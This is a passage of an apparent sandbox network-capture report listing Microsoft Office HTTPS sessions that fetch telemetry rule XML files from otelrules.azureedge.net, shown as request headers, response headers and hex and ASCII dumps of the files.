2024-11-07 22:47:43 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:43 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:43 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:43 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 87c6e767-f01e-003c-4308-2c8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224743Z-16547b76f7f76p6chC1DFWctqw00000008zg000000001982 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:43 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:43 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:43 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:43 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 09b57a0e-d01e-0066-0eaa-30ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224743Z-17df447cdb5zfhrmhC1DFWh330000000050g000000008r1w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:43 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:44 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:44 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:44 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 7bed9db9-501e-0035-31d4-2fc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224744Z-17df447cdb5c9wvxhC1DFWn08n000000054g00000000nmc6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:44 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:44 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:44 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:44 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: b1270df0-501e-0035-6dd2-2cc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224744Z-16547b76f7f9rdn9hC1DFWfk7s00000008t000000000a34e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:44 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:44 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:44 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:44 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 45f39ff0-c01e-00a2-2d5f-2e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224744Z-15869dbbcc6tjwwhhC1DFWn228000000025g0000000056q6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:44 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:44 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:44 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:44 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 3caab4b0-601e-005c-26d2-2cf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224744Z-16547b76f7fp46ndhC1DFW66zg00000008r000000000vx39 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:44 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:44 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:44 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:44 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3caab57d-601e-005c-6cd2-2cf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224744Z-16547b76f7fdf69shC1DFWcpd000000008p000000000hr58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:44 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:44 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:45 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:44 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 43524f19-601e-003e-07d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224744Z-16547b76f7fcjqqhhC1DFWrrrc00000008sg00000000bq7m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:45 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:45 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:45 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:45 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 9b184377-001e-0014-055f-2e5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224745Z-15869dbbcc6kg5mvhC1DFW74ts00000002b000000000ctcb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:45 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:45 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:45 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:45 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: bfef7332-a01e-0070-2458-2e573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224745Z-17df447cdb57g7m7hC1DFW791s000000051g000000008yvp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:45 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:45 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:45 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:45 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 3018d77d-101e-008d-49d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224745Z-16547b76f7fkcrm9hC1DFWxdag00000008tg00000000ud12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:45 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
